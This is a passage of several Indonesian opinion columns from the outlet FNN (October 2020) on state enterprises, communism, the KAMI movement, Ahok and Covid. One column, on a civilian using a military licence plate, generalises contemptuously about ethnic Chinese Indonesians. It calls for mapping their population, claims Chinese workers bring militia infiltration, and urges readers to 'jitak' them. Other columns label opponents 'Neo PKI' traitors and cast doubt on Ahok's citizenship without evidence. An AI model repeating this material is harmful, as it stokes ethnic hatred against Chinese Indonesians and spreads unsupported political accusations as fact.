pejajah VOC kepada negara jajahannya. PLN tidak juga sama. Tidak menurunkan tarif listrik ketika bahan bakar pembangkit listrik turun. Bank-bank BUMN lebih kapitalis dari negara penganut faham kapitalis. Bank-bank BUMN tidak mau menurunkan suku bunga kredit (sepantasnya) ketika suku bunga acuan Bank Indonesia turun. Apalagi ketika resesi menghantui ekonomi Indonesia. Bahkan, bank BUMN membukukan Net Interest Margin yang tinggi. Menyebabkan terjadinya ekonomi biaya tinggi di dalam negeri. BUMN juga sering dijadikan ATM (kasir) untuk kepentingan politik. Bagi-bagi jatah jabatan komisaris dan proyek di BUMN. Oleh karena itu, keberadaan BUMN harus ditinjau ulang untuk kepentingan rakyat. BUMN yang tidak penting sebaiknya dibubarkan saja. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Ideologi dan Doktrin Komunisme Menuju Tirani

by Anthony Budiawan Jakarta FNN - Sabtu (03/10). Distribusi pendapatan dan kekayaan tidak pernah ‘adil’. Masyarakat terbagi dalam kelompok kaya yang jumlahnya sedikit dan kelompok miskin yang jumlahnya banyak. Kedua kelompok ini rawan konflik. Menurut Aristoteles (384 – 322 BC), kemiskinan bahkan menjadi salah satu faktor pemicu revolusi. Sejarah menunjukkan terjadi banyak konflik sosial atau perjuangan kelas sejak zaman kuno. Antara lain, Conflict of the Orders pada zaman Romawi Kuno (500 BC), Peasants’ Revolt di Inggris (1381), Jacquire di Perancis Utara (1358), German Peasants’ War (1524), Canut Revolt Perancis (1831), dan masih panjang daftarnya. Revolusi Industri yang berkembang di Eropa sekitar tahun 1700-an membuat kesenjangan sosial semakin meningkat. Di tengah akselerasi revolusi industri, Adam Smith mempublikasikan karyanya yang sangat fenomenal, The Wealth of Nations (1776). Yang dipercaya menjadi landasan pemikiran sistem Kapitalisme. Tidak pelak, Karl Marx dan pengikutnya menuding kapitalisme sebagai penyebab utama kesenjangan sosial meningkat tajam. Kaum borjuis (kapitalis) dituding eksploitasi kaum buruh (proletariat) untuk mendapatkan keuntungan yang besar. Membuat class conflict dalam sistem kapitalisme tidak terelakkan. Menurut Marx, kaum buruh lambat laun akan melawan ketidakadilan ini, dan memenangkan perjuangannya. Ketika itu terjadi maka tatanan masyarakat di dunia hanya terdiri dari satu (strata) kelas saja. Ini yang dimaksud oleh Marx dengan komunisme yang dituangkan dalam karyanya The Communist Manifesto (1848). Marx percaya untuk mencapai masyarakat tanpa kelas, diperlukan revolusi. Melalui pemaksaan yang difasilitasi negara. Semua penghalang harus disingkirkan. Termasuk rekan yang tidak sejalan, rekan yang bisa menghambat revolusi. Di Rusia, partai buruh sosial-demokrat terpecah menjadi dua, Bolsheviks (mayoritas) dan Mensheviks (minoritas). Karena perbedaan pendapat bagaimana cara mencapai tujuan, Bolsheviks di bawah pimpinan Vladimir Lenin tidak segan-segan menyingkirkan rekannya (Mensheviks) di partai sosialis. Melalui revolusi Bolsheviks, Lenin berhasil merebut kekuasaan di Rusia. Membentuk negara sosialis pertama di dunia dengan partai tunggal, Partai Komunis Uni Soviet (CPSU). Uni Soviet kemudian berhasil membuat sebagian besar Eropa Timur menjadi negara komunis, dengan ideologi Marxisme-Leninisme. Negara komunis umumnya opresif. Tidak segan-segan menyingkirkan pihak yang mencoba menghalangi terwujudnya tatanan masyarakat dunia tanpa kelas, yaitu masyarakat komunis. Pengikut paham komunisme di belahan dunia lain mengikuti jalan revolusi Uni Soviet. Partai Komunis Tiongkok berhasil mendirikan negara komunis Republik Rakyat Tiongkok (RRT) pada 1949. Kemudian menyusul negara-negara lainnya, seperti Kamboja, Cuba, Laos, Vietnam, Korea Utara. Sebagai anti tesis kapitalisme, komunisme ingin mewujudkan negara sosialis dengan pemerataan pendapatan, sehingga menciptakan masyarakat tanpa kelas. Sebagai konsekuensi, sistem ekonomi komunisme tidak mengenal private property sehingga faktor produksi dan distribusi dikuasai negara. Dikendalikan melalui central planning atau juga dikenal command planning. Tujuan komunisme tersebut hanya bisa berhasil melalui pemaksaaan dan kekuasaan mutlak yang akhirnya menuju tirani. Pihak yang tidak setuju akan disingkirkan secara permanen. Tidak ada demokrasi. Tidak ada perbedaan pendapat. Sebagai contoh, konversi kepemilikan lahan pertanian menjadi milik kolektif (negara) di berbagai negara komunis harus dilakukan melalui tangan besi, yang mengorbankan puluhan juta jiwa rakyat karena menentang. Sejarah menunjukkan ideologi komunisme gagal membangun ekonomi, dan gagal mencapai negara sosialis yang sejahtera tanpa kelas. Ekonomi Uni Soviet dan RRT terpuruk. RRT melakukan reformasi ekonomi pada 1978 dengan mengadopsi sistem kapitalisme pasar. Uni Soviet runtuh. Rusia meninggalkan sistem ekonomi komunisme, dan juga mengadopsi sistem kapitalisme pasar. Alhasil, meskipun masih mempertahankan sistem politik satu partai komunis, kesenjangan sosial di kedua negara tersebut meningkatkan tajam, menjadi salah satu yang terburuk di dunia. Artinya, ideologi komunisme gagal total menciptakan masyarakat tanpa kelas. Namun, partai komunis tetap dipertahankan sebagai penguasa tunggal. Bukan lagi untuk kepentingan masyarakat, tapi demi kepentingan pemerintahan tirani. Tirani komunisme sangat kejam, no merci. Sekali pemerintahan komunis berkuasa, rakyat tidak berdaya selamanya. Negara komunis hanya bisa diubah dari atas, dari pemimpin komunis tersebut. Seperti Gorbachev yang menyadari sistem komunisme telah gagal dan membubarkan Uni Soviet. Artinya, rakyat sendiri tidak bisa lepas dari cengkeraman rezim komunis. Rakyat Korea Utara tidak akan mampu membebaskan dirinya dari rezim komunis. Begitu juga rakyat Cuba. Dan rakyat negara komunis lainnya. Indonesia harus bersyukur berhasil menggagalkan G30S/PKI 1965. Dan juga Pemberontakan PKI 1948. Namun, apakah Indonesia bisa terbebas dari komunisme selamanya? Akhir-akhir ini sebagian masyarakat merasa gelisah. Merasa hukum tajam ke mereka yang berbeda pendapat. Yang mana menunjukkan kadar demokrasi menyusut. Dan kadar tirani meningkat. Sedangkan checks and balances tidak berjalan sebagaimana mestinya. Eksekutif, legislatif dan yudikatif mengerucut menuju ke satu pemikiran yang sama. Menuju satu-kesatuan. Pengesahan PERPPU Corona yang memuat imunitas hukum secara aklamasi (kecuali satu partai politik) hanya menunjukkan fenomena gunung es. Semoga Indonesia selalu dalam waspada penuh. Sistem ekonomi komunisme memang terbukti gagal, tetapi tirani dan doktrin komunisme masih menghantui dunia. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Ahong Yang Nginjak & Ngelunjak

by M Rizal Fadillah Bandung FNN – Sabtu (03/10). Mobil Toyota Fortuner dengan plat nomer mobil dinas militer sangat viral di Medsos. Masalahnya mobil tersebut ditumpangi oleh warga sipil yang diduga suami istri warga negara "etnis keturunan cina". Terlihat dari profil hasil rekaman kamera hand phone seseorang yang mengaku wartawan. Tentu bukan bermaksud mengangkat aspek etnik, tetapi keadaan ini telah membuat sakit hati warga masyarakat. Netizen di media memberi berbagai komentar yang intinya "Cina nginjak dan ngelunjak". Menginjak pedal gas untuk kabur dan tidak melayani pertanyaan. Siapa dia? Itu mobil dinas yang biasa dipakai siapa? Gejala sosial apa? Tindakan apa yang bisa berefek jera? Akhirnya diketahui juga pengguna mobil Nomor Registrasi (Noreg) 3688-34 tersebut adalah Hendra Winata alias Ahong yang menurut keterangan bahwa Noreg itu sebenarnya telah ditarik oleh Puspomad atas nama Kolonel CPM Bagus Heru yang pensiun tahun 2016 lalu.Mengapa Mobil Dinas militer Noreg 3688-34 yang katanya sudah ditarik masih bisa " berkeliaran"? Memerlukan pengusutan lebih lanjut. Kaitan dengan peristiwa tahun 2016 kita teringat juga tertangkapnya mobil dinas tentara yang dikendarai dan dimiliki oknum etnis cina. Di Jawa Timur, persisnya di Genteng antara Surabaya Banyuwangi. Mobil Noreg 99457 V ternyata pemiliknya adalah Gavin Tjandra Laksana. Kasus ini menguap tak terusut jejaknya. Tentu masih banyak kasus serupa di berbagai daerah, hanya saja karena "tak terekam", maka sipengendara mobil lewat-lewat begitu saja. Entah ada proses atau selesai dengan damai atau sipetugas mendapat telepon dari "atas", lalu sitertangkap dilepas lagi. Urusan yang model memang bisa bervariasi. Satu kesamaan dalam kasus-kasus seperti ini adalah "Cina yang nginjak dan ngelunjak". Kesenjangan sosial antara "etnis keturunan cina" dan "pribumi" cukup tinggi. Sejarah memang telah mencatat cukup lama. Status ekonomi yang timpang menciptakan kecemburuan. Gaya berstatus "tuan" sering menjengkelkan. Eksklusif dan cenderung "menguasai". Dulu ada kebijakan pembauran dalam rangka menghindari perilaku seperti ini. Kini tak ada lagi. Ketika program investasi Cina meningkat, hubungan RI-RRC semakin erat, Partai Komunis Cina (PKC) menginjakkan kaki di Istana. Tenaga Kerja Asing (TKA) Cina datang dan sulit dihadang. Pemilikan tanah sampai ke desa, serta isu komunisme yang menghangat. Maka persoalan "Cina yang nginjak dan ngelunjak" menjadi bertambah rumit. Sentimen etnik dapat bereskalasi. Kejadian ini tentu saja sangat tidak bagus bagi harmoni masyarakat negeri ini yang sangat menghargai perbedaan etnis dan kebhinekaan. Namun yang menjaga sensivitas sosial sesasama warga masyarakat juga sangat diperlukan. Untuk menghindari gesekan dan kecemburuan sosoal yang memang ngata-nyata terbelah akibat perbedaan pendapatan dan penguasaan kue pembangunan. Harus Segera Bertindak Pertama, Polisi Militer TNI Angkatan Darat supaya mengusut terus Hendra Winata. Apa motif dan sanksi pelanggaran? Mengapa plat nomor reg milik Kolonel CPM Bagus Heru ada pada Ahong? Apakah ini modus "pembekingan" atau gaya-gayaan semata? Kedua, pemerintah harus redam emosi dan sentimen publik yang bagai api dalam sekam. Itu dengan kebijakan politik dan hukum yang tidak diskriminatif. Ketiga, pemerintah tinjau ulang pengentalan garis "persahabatan" RI-RRC yang berspektrum ekonomi, politik, dan ideologi. Kembalilah kepada politik luar negeri yang "bebas aktif". Keempat, pemerintah stop impor TKA Cina. Karena disamping menggeser lapangan kerja warga negara sendiri, juga rawan penyusupan tentara atau milisi Cina. Kelima, pemerintah harus lakukan sensus penduduk dan buat peta sebaran etnik. Karena dikhawatirkan ternyata totalitas etnik Cina meningkat tajam. Bhineka Tunggal Ika tidak boleh didalihkan untuk sesuatu yang dapat membahayakan negara. Kasus "tertangkap" kamera yang viral dari tuan Hendra Winata alias Ahong harus dijadikan awal dari pembenahan kebijakan ke depan. Tidak ada lagi perilaku menyakitkan kepada warga dan bangsa Indonesia. Jitaklah "Cina yang nginjak dan ngelunjak". Penulis adalah Pemerhati Politik dan Kebangsaan.

KAMI Yang Pancasila Versus Neo PKI

by Anton Permana Jakarta FNN – Sabtu (03/10). Sahsudah! Akhirnya kita semua tahu bahwa yang sedang bertarung saat ini dalam konstalasi politik nasional itu adalah kelompok Koalisi Aksi Menyelamatkan Indonesia (KAMI) yang Pancasila melawan gerombolan Neo Partai Komunis Indonesia (PKI) dan antek-antek budaknya. KAMI bertarung keras melawan gerombolan “Trisila dan Ekasila”. Gerombolan ini juga berjuang untuk mewujudkan Ketuhanan Yang Berkebudayaan. Bukan Ketuhanan Yang Maha Esa. Pancasila yang diakui gerombolan akui adalah yang tanggal 1 Juni 1945. Melawan KAMI yang hanya mengakui Pancasila konsensus tanggal 18 Agustus 1945. Kenapa ? Karena hal utama yang dikumandangkan oleh KAMI itu adalah membela Pancasila dan melawan kebangkitan Neo PKI di Indonesia. Seperti gayung bersambut. Sejak dua persoalan itu dikumandangkan dengan lantang oleh Jendral TNI (Purn) Gatot Nurmantio sebagai dewan Presidium KAMI bersama Prof Din Syamsudin dan Prof KH Rachmad Wahab, langsung ada perlawanan keras yang super reaktif dalam menjegal setiap acara KAMI di beberapa kota. Artinya, kalau yang dimusuhi KAMI itu adalah kebangkitan Neo PKI, dan yang dibela KAMI itu adalah kedaulatan bangsa dan Pancasila, maka otomatis yang balik memusuhi dan menyerang KAMI secara sistematis itu adalah pengikut dan antek Neo PKI dan pengkhianat Pancasila. Jelas dan tegas bukan? Tidak hanya itu, macam cacing kepanasan dan uring-uringan. Bermunculan komentar pedas, baik dari para buzzer dan yang katanya tokoh dalam menyerang KAMI dan personalnya. Sangat mirip pola Mao Tse Tung, dedengkot komunis China. Kata Mao, “apabila kamu tidak bisa mematahkan argumentasi musuhmu, maka seranglah pribadinya”. Ketika KAMI mengeluarkan gugatan dan tuntutan, ehh malah dibalas dengan caci maki dan fitnah. Bukannya dijawab dengan klarifikasi atau data akurat lainnya. Ini bertanda, wajah perpolitikan nasional kita hari ini sungguh telah dikotori oleh tangan-tangan biadab dan jahil. Jauh dari norma kesusilaan. Negeri ini seakan kembali lagi pada masa kelam tahun 1960-an, dimana PKI berkuasa. Yaitu, semakin maraknya aktivitas provokasi penuh kebencian dan fitnah terhadap tokoh agama dan TNI. Kalau dulu Buya Hamka, M Natsir, Masyumi menjadi korban. Saat ini lihatlah tak terhitung lagi para ustadz, ulama, Kiyai, dan Habaib yang juga mengalami hal yang hampir serupa. Kalau dulu isunya anti Nasakom kontra revolusi. Maka saat ini isunya radikalisasi dan intoleran. Padahal, para Neo PKI inilah yang super radikal dan super intoleran. Buktinya, pembantaian dan tindakan penjegalan, persekusi, kembali marak terjadi terhadap tokoh ulama. Sikap intoleran seperti sakit hati dan benci terhadap simbol dan peribadatan agama. Benci celana cingkrang dan cadar. Benci pada Habaib dan Ulama yang tidak sejalan. Dan selalu merecoki aktivitas ibadah agama orang lain penuh kedengkian. Begitulah cara asli PKI dulu bekerja tahun 1960-an. Begitu juga selanjutnya, kalau dulu tujuh orang Jendral TNI AD difitnah dan dibunuh dengan sadis di sumur Lubang Buaya, saat ini lihatlah sudah berapa para pensiunan Jendral TNI seperti Pak Mayjend TNI (Purn) Kivlan Zen, Kapt (Purn) Ruslan Buton yang dipenjara dengan alasan hukum. Padahal menurut para pakar hukum, sungguh pasal yang dipakai sangat mengada-ngada. Dan persidangannya pun sedang berjalan meski kita tidak tahu akan berujung kemana. Hari-hari ini dengan mata telanjang, rakyat se-nusantara menyaksikan bagaimana seorang Jendral mantan Panglima TNI yang jasa serta dedikasinya buat negara ini tak diragukan lagi, digelandang dan dipaksa turun dari mimbar saat lagi berbicara. Padahal yang bersangkutan sedang pidato dihadapan para Kiyai dan Ulama di suatu ruangan dengan tetap mengikuti protokol covid-19. Sungguh ini sebuah perbuatan yang tidak pantas. Juga sangat tak beretika, sombong, arogansi dan pelecehan terhadap keluarga besar TNI. Sontak hal ini semakin membakar dan membuat mendidih darah serta jiwa korsa keluarga besar TNI, baik yang aktif maupun yang pensiun. Perbuatan tak beretika ala preman oleh oknum yang seharusnya menjadi penegak hukum ini, juga inskonstitusional. Belum lagi seolah pembiaran kepada aktivitas kelompok bayaran yang mengeluarkan perkataan tidak senonoh, penuh dengan kebencian terhadap Jendral TNI (Purn.) Gatot Nurmantyo. Mungkin tujuannya sengaja mempermalukan Jendral Gatot, dan memberikan shock terapi. Tetapi yang terjadi malah sebaliknya. Sikap kenegarawan Jendral Gatot berakibat pada banjirnya simpati dari rakyat. Persekusi terhadap Jendral Gator justru semakin menyulut gelombang perlawanan rakyat. Ditandai dengan banyaknya Jendral dan purnawirawan turun gunung merapatkan barisan bersama KAMI. Pertanyaannya, kalau mereka pendemo bayaran itu mengaku taat hukum dan nasionalis, mengapa tidak menggunakan cara yang sedikit lebih beradab. Tidak dengan gaya yang arogan kepada Jendral GN yang sudah pensiun. Kalau mengaku peduli pada bangsa ini, kemana mereka ketika Pancasila mau diganti? Dimana mereka ketika TKA China membanjiri negeri ini? Korupsi dimana-mana. narkoba meraja lela, dan penanganan covid-19 oleh negara yang amburadul dan amatiran? Dengan kejadian ini, kita semua dapat menyimpulkan bahwa, KAMI yang Pancasila telah berhasil memancing keluar para kelompok Neo PKI dari sarangnya. Keluar dari ketiak kekuasaan. Neo PKI saat ini adalah ancaman nyata terhadap keutuhan bangsa ini. Neo PKI bagaikan duri dan racun dari tubuh bangsa yang saat ini kembali mendapatkan momentum untuk melanjutkan perjuangan ideologi orang tua mereka, yaitu menjadikan Indonesia menjadi negara berhaluan komunis. Dengan segala cara, berupaya mengganti Pancasila menjadi Trisila atau Ekasila. Kehutanan yang berkebudayaan Semakin terang benderang semuanya saat ini. KAMI Pancasila yang mencoba melakukan gerakan moral, menyadarkan bangsa ini akan ancaman bahaya Neo PKI, kini mendapatkan serangan balasan berupa intimidasi, persekusi, teror, caci maki hingga fitnah yang luar biasa dari kelompok Neo PKI. Walaupun kelompok Neo PKI mendapatkan dukungan penuh dari China dan pusat kekuasaan. Saat ini, saya yakin, KAMI yang Pancasila bersama rakyat dan TNI tidak akan gentar. Tidak akan membiarkan dan merelakan negara ini dihancurkan dan diubah menjadi berhaluan komunis. Perang itu sudah mulai dan juga mulai terbuka. Neo PKI semakin berani dan merasa di atas angin, karena mendapat dukungan dari kekuasaan. Mereka yakin bakal kebal hukum. Bukti dan contohnya sudah banyak kita saksikan secara kasat mata. Bahkan telanjang mata. Tapi yakinlah, rakyat khususnya umat Islam tidak akan diam. TNI sebagai komponen utama dan lahir dari rakyat juga pasti tidak akan diam. Semua menunggu waktu. NKRI harga mati. Pancasila sudah final dan mengikat. Komunisme haram hukumnya hidup lagi di Indonesia. Sekarang kita mau pilih yang mana. Bergabung bersama KAMI yang Pancasila??? Atau bersama Neo PKI??? Semua bebas memilih. Dan ingat, semua tentu juga akan ada resiko dan konsekuensinya. Bangun dan berjuang, atau punah? Pancasila atau Komunis? Salam Indonesia Jaya! Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

Ahok Yang The Real President Harus Dihentikan!

by Dr. Marwan Batubara Jakarta FNN - Jumat (02/10). Tulisan ini lanjutan artikel IRESS 24/9/2020 terkait heboh ucapan Ahok tentang Pertamina di Channel POIN YouTube (15/9/2020). Ahok mengatakan akan terjadi gaduh dan demo oleh kadrun jika dia menjadi direktur utama Pertamina. Kata Ahok: “Persoalannya kalau saya jadi dirut, ribut. Kadun-kadrun mau demo, mau bikin gaduh lagi Republik ini”. Ahok sengaja menggunakan istilah kadrun terhadap kelompok orang yang tidak disenangi. Mereka seolah musuh abadi. Ini dapat pula dianggap cerminan sikap terhadap lawan politik bernuansa sinisme, tendensius, perseteruan, superioritas atau merasa benar sendiri. Karena itu, mengingat Ahok adalah pejabat publik, wajar kalau muncul reaksi dan kritik dari sejumlah tokoh, politisi, anggota DPR, aktivis dan berbagai kalangan masyarakat. Reaksi dan kritik menjadi lebih massif karena Ahok Komut di Pertamina, BUMN terbesar di republik yang mengelola sektor energi publik. Rangkuman reaksi tersebut antara lain adalah: mengusik ketenangan, rasis, tidak punya rasa malu, menunjukkan kesombongan, tidak tau diri, merasa paling benar, memicu kegaduhan baru, memicu perpecahan, menunjukkan kesombongan, merusak citra Pertamina dan membuat rusak tata kelola pemerintahan. Kita tidak bisa mengatur bagaimana seseorang menilai, bersikap dan berucap terhadap pihak atau kelompok lain. Itu merupakan hak azasi yang dijamin konstitusi. Namun karena Ahok pejabat BUMN mengurus hajat hidup rakyat, urusan menjadi lain. Bukan saja Ahok, bahkan Presiden Jokowi pun, yang menunjuk Ahok menjadi Komut, secara legal dan moral dapat dituntut mempertanggungjawabkan sikap Ahok sebagai pejabat perusahaan negara. Salah satu yang perlu dicamkan Ahok dan pemerintah adalah reaksi Wasekjen MUI Ustadz Tengku Zulkarnain. Tengku mengatakan: “Maksud ente kadrun siapa, Hok? Mereka yang membela Al Qur’an yang ente hina kemarin itu? Lagi pula demo itu hak rakyat yang dilindungi UUD 1945 Pasal 28. Sungguh Ahok tidak tahu diri… Ahok, ente diterima tinggal di NKRI saja mestinya sudah syukur. Sadarlah diri” (19/9/2020). Tampaknya Tengku ingin mengingatkan Ahok dan kita semua asal-usul dan status Ahok sebagai warga negara. Ini terkait penjelasan Prof. Dr. Yusril Ihza Mahendra perihal status kewarganegaraan Ahok yang menjadi WNI bukan sejak kelahiran, tetapi sejak berumur 20 tahun (faktakini.net/4/2018). Ketika ayah Ahok dinaturalisasi tahun 1986, maka Ahok otomatis menjadi WNI ketika itu dia berusia 20 tahun. Nama Ahok ada dalam SKBRI Tjung Kim Nam. Sejalan dengan ungkapan Tengku di atas, Ahok dan pemerintah perlu kembali diingatkan tentang apa dan siapa, serta bagaimana sepak terjang Ahok selama ini. Hal-hal ini perlu diungkap agar suasana perseteruan antar kelompok atau golongan yang mengemuka sejak persaingan Pilkada DKI 2017 berkurang atau hilang. Dan yang lebih penting, agar Pertamina dapat dikelola sesuai konstitusi dan bebas kepentingan sempit oligarki. Ahok pernah mengatakan Jokowi tidak akan menjadi Presiden jika tidak didukung (dana massif) pengembang. “Saya pengen bilang Pak Jokowi tidak bisa jadi Presiden kalau ngandalin APBD, saya ngomong jujur kok. Jadi selama ini kalau bapak ibu lihat yang terbangun sekarang, rumah susun, jalan inpeksi, waduk semua, itu semua full pengembang, kaget gak?”, ujar Ahok (actual.com/22/6/2016). Jangan-jangan Presiden kita tersandera oleh Ahok dan oligarki. Presiden Jokowi pernah menawarkan rujuk nasional dan menyatakan akan menjadi presiden bagi seluruh rakyat Indonesia (27/6/2020). Jika Presiden konsisten dengan ucapan, maka sesumbar dan sisnisme Ahok perlu segera dihentikan. Presiden harus berperan dan bertindak sebagai pemimpin tertinggi negara yang bebas sanderaan politik siapa pun: bahwa Ahok harus ditertibkan dan diproses secara hukum atas berbagai dugaan kasus korupsi. Hukum dan keadilan harus ditegakkan untuk menunjukkan bangsa dan NKRI bermartabat di mata bangsa-bangsa di dunia. Negara tidak boleh takluk atas sanderaan dan ancaman seseorang atau segelintir orang yang karena kekuatan oligarki dan dana yang dimiliki, bisa berbuat sesuka hati dalam mengelola negara. Kita juga perlu mengingatkan para konglomerat dan oligarki kekuasaan untuk berhenti bersikap seolah semua bisa dikuasai dan diatur, tanpa peduli hukum, kemanusiaan dan rasa keadilan rakyat. Masalah ini bukan sekedar prilaku kontroversial atau “gaya bicara ceplas-ceplos”, sehingga dengan begitu perlu dimaklumi publik. Ini masalah serius yang dinilai sarat arogansi, niat mendominasi dan bebas berbuat, mentang-mentang berkuasa karena berada dalam lingkar kekuasaan. Kalau tidak ada kadrun-kadrun, lantas Ahok, atas dukungan Presiden, bisa menduduki jabatan apa saja walau tidak qualified? Mau dibawa ke mana negara ini? Kami meminta Presiden Jokowi memperhatikan hal-hal berikut. Pertama, usaha yang dikelola Pertamina adalah sektor sangat strategis dan menyangkut hajat hidup seluruh rakyat. Karena itu pengurusnya tidak diatur dan ditentukan berdasar dukungan atau penolakan sikap sekelompok orang tertentu. Sebaliknya, Ahok dan pejabat pemerintah terkait harus mencamkan untuk tidak memperlakukan Pertamina sesuka hati mentang-mentang sedang berkuasa. Kedua, Pertamina adalah badan usaha milik negara (BUMN) yang pemiliknya adalah seluruh rakyat, bukan segelintir orang yang ada dalam oligarki kekuasaan. Karena itu, pengurus Pertamina harus memenuhi berbagai persyaratan. Mengingat pernah divonis bersalah 2 tahun penjara (9/5/2017) secara moral dan legal Ahok tidak qualified menjadi Komut, karena melanggar Permen BUMN No.02/MBU/02/2015 tentang Persyaratan dan Tata Cara Pengangkatan Komisaris dan Permen BUMN No.01/2011 tentang Penerapan GCG. Ketiga, secara legal Ahok mestinya diproses secara hukum oleh KPK karena diduga terlibat dan berperan sentral dan kasus RS Sumber Waras. Ahok bisa sesumbar dan seolah merasa di atas hukum akibat perlindungan KPK yang membebaskan Ahok dari jerat hukum dengan alasan tidak mempunyai niat jahat (mens rea), meskipun alat-alat bukti korupsinya telah lebih dari cukup (15/6/2016). KPK takluk di bawah kendali oligarki. Di samping alat-alat bukti telah lebih dari cukup, bukan pula tugas KPK mencari alat-alat bukti. Faktanya, sesuai tugas konstitusional, BPK sudah menemukan bukti-bukti. Namun, karena itu pula pimpinan BPK dikriminalisasi. Karena ingin melindungi Ahok, KPK yang dipimpin Agus Raharjo mengatakan ingin mencari mens rea. Mencari sesuatu di luar nalar orang sehat dan berpendidikan, karena hanya Ahok dan Tuhan-lah yang tau. Ini merupakan pernyataan absurd, sekaligus ungkapan tanpa rasa malu dan abai logika hukum, demi Ahok. Keempat, karena pernah mendapat perlakuan sangat istimewa dari KPK, Ahok dan para pendukung menganggap lembaga-lembaga negara lain, termasuk DPR dan Polri, berada dalam genggaman dan bisa dikendalikan. Ironisnya, lembaga-lembaga ini, termasuk mayoritas partai berkuasa, terkesan pasif dan justru ikut mendukung sikap KPK, dan ikut pula melindungi Ahok. Lembaga dan partai tersebut diduga kuat juga berada di bawah kendali oligarki kekuasaan. Dengan kondisi di atas, Ahok merasa confident mampu berbuat sesuai keinginan dan merasa akan mendapat pula dukungan dari pemimpin tertinggi. Karena itu, tak heran jika Menteri BUMN Erick Thohir pun terpaksa harus menerima penempatan Ahok sebagai Komut Pertamina, sebab menurut sumber terpercaya IRESS, Erick pun sebenarnya enggan menerima penempatan tersebut. Kami tidak sudi memiliki negara dan pemerintahan yang tidak dapat berfungsi normal dan berjalan sesuai Pancasila, konstitusi dan hukum. Kami tak rela negara dan rakyat terus tersandera Ahok dan oligarki kekuasaan. Ahok, seperti diungkap di atas, serta telah diuraikan dalam berbagai artikel IRESS dan buku Usut Tuntas Dugaan Korupsi Ahok (2017), jauh lebih layak diproses secara hukum dibanding terus sesumbar di BUMN yang eksistensinya diamanatkan konstitusi. Pak Jokowi, kapan anda menghentikan sepak terjang Ahok? The Real President adalah Pemimpin Negara yang berani bertindak independent demi negara dan rakyat! Penulis adalah Direktur Eksekutif IRESS dan Deklarator KAMI.

Covid-19 Menulari Orang Yang Paling Kuat di Dunia

by Asyari Usman Jakarta FNN - Jum'at (02/10). Tidak ada satu manusia pun di muka Bumi ini yang dijaga dengan tingkat pengamanan terketat, kecuali hanya presiden Amerika Serikat (AS). Begitulah kira-kira gambaran tentang penjagaan terhadap Presisden Donald Trump dan keluarganya. Presiden AS tidak mengenal ancaman apa pun. Termasuk ancaman penyakit. Presiden tidak boleh terpapar penyakit. Tim kesehatan kepresidenan dilengkapi dengan peralatan medis darurat tercanggih. Ke mana saja Presiden pergi, pasti ada rombongan medis yang mengikutinya. Begitulah protap untuk presiden negara terkuat di dunia itu. Tetapi, Covid-19 ternyata lebih dahsyat dari sistem pengawalan kesehatan presiden. Virus Wuhan itu berhasil menyelinap masuk ke tubuh Presiden Trump. Dan istrinya, Melania. Mereka dinyatakan positif setelah dites malam tadi (waktu AS). Presiden Trump sendiri yang langsung mengumumkannya lewat akun twitternya, @realDonaldTrump. “Tonight, @FLOTUS and I tested positive for Covid-19. We will begin our quarantine and recovery process immediately. We will get through this together!” “Malam ini, @FLOTUS (panggilan Melania) dan saya dites positif Covid-19. Kami akan menjalani karatina dan proses pemulihan segera. Kami akan menempuh ini bersama-sama!” Trump termasuk orang yang tidak mau patuh dengan protokol Covid. Padahal, dia sendiri yang mengeluarkan protokol itu. Dia tidak suka memakai masker atau menjaga jarak. Dia baru saja selesai menghadiri acara kampanye pilpres yang diikuti ribuan orang. Dengan keberhasilan menulari Presiden Trump, berarti Covid-19 telah mencapai puncak ‘prestasi’-nya. The most powerful man on Earth (orang yang terkuat di Bumi) kini masuk ke dalam daftar Covid. Artinya, para presiden dan perdana menteri atau kepada negara mana pun di dunia ini, sekarang tidak bisa lagi dijamin tak tertular Covid-19. Dan, perlu dicermati, bahwa Trump mendapatkan virus itu di tengah kegiatan pilpres yang tetap dilaksanakan di AS. Perlukah meninjau kembali kegiatan pilkada 2020 di Indonesia? Terserah Presiden Jokowi, tentunya. Kalau pilpres AS memang tak mungkin digeser.[] Penulis wartawan senior FNN.co.id.

Wuuiissh,,, Moeldoko Ngancem Niyeeeee!!!

by M Rizal Fadillah Bandung FNN – Jum’at (02/10). Kepala Staf Kepresidenan Jendral TNI (Purn.) Moeldoko meminta perhatian Koalisi Aksi Menyelamatkan Indonesia (KAMI) agar tidak mengganggu stabilitas politik. Ucapan tersebut disampaikan Moeldoko seperti dikutip CNN Indonesia "kalau arahnya memaksakan kepentingan, akan ada perhitungan". Wuuiisshh jadi tatuuut dunk??? Mungkin karena namanya pemerintah, ya pasti jadi tukang perintah. Merasa punya kekuasaan, ada aparat ada senjata. Posisinya memang selalu di atas angin. Mungkin merasa sedang menaiki angin. Bisa kesana bisa kesini untuk buang angin. Ancam sana, ancam sini maklum otoritas ada di tangan. KAMI baru saja dibentuk tapi banyak terapi kejut. Baru urusan deklarasi ssaja sudah buat takut yang sono. Ujungnya larang sana, larang sini. Bikin demo buatan. Demo bayaran segala. Bayar dikit-dikitlah dan suruh teriak-teriak dengan bentangan spanduk "tolak KAMI", "KITA cinta damai". "Covid 19 dilarang kumpul". Sambil kumpul-kumpul teriak-teriaknya itu. Memangnya aturan tentang Kopit mah hanya untuk KAMI? Terus untuk kalian gimana? Kebal eh bebal untuk kalian? Rupa-rupanya Moeldoko lupa bahwa biang yang bikin stabilitas politik terganggu itu adalah Pemerintah sendiri. Omnibus Law membuat geram buruh. Akibatnya buruh ancam akan mogok nasional. Badan Pembinaan Ideologi Pancasila (BPIP) ikut Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang masuk lewat PDIP. Kan efeknya kan jadi rame Pak Moledoko. Bagaimana tidak, RUU HIP dan BPIP kan berhembus bau amis dan apek Orde Lama. Bahkan Neo PKI dan faham komunisme sangat kental dan menguat. Ada masuk di sana gerombolan Trisil dan Ekasila yang hanya mengakui Pancasila tanggal 1 Juni 1945. Kalau begitu pancasila tanggal 18 Agustus 1945 mau disebunyikan di Pak Moeldoko? Apakah masyarakat tidak boleh protes? Apakah dibiarkan begitu saja gerobolan Trisila dan Ekasila yang memperjuangkan Pancasila 1 Juni 1945 di RUU HIP dan RUU BPIP? Kalau masyarakat protes, pasti goyanglah stabilitas politik. Itu dengan sendiri berakibat pada daya tahan (Imun ) pemerintah. KAMI hadir karena ulah Pemerintah yang tak memahami aspirasi rakyat. Pemerintah yang tidak 